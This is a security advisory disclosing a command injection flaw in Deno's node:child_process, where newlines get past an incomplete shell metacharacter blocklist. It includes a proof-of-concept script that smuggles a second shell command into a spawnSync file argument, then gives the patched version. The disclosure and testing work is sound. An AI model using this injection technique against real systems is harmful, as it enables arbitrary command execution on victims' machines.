CVE-2026-27190: Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process

Summary A command injection vulnerability exists in Deno's node:childprocess implementation.

Reproduction javascript import { spawnSync } from "node:childprocess"; import as fs from "node:fs";

// Cleanup try { fs.unlinkSync('/tmp/rceproof'); } catch {}

// Create legitimate script fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");');

// Malicious input with newline injection const maliciousInput = /tmp/legitimate.ts\ntouch /tmp/rceproof;

// Vulnerable pattern spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], { shell: true, encoding: 'utf-8' });

// Verify console.log('Exploit worked:', fs.existsSync('/tmp/rceproof'));

Run: deno run --allow-all poc.mjs

The file /tmp/rceproof is created, confirming arbitrary command execution.

Mitigation

All users need to update to the patched version (Deno v2.6.8).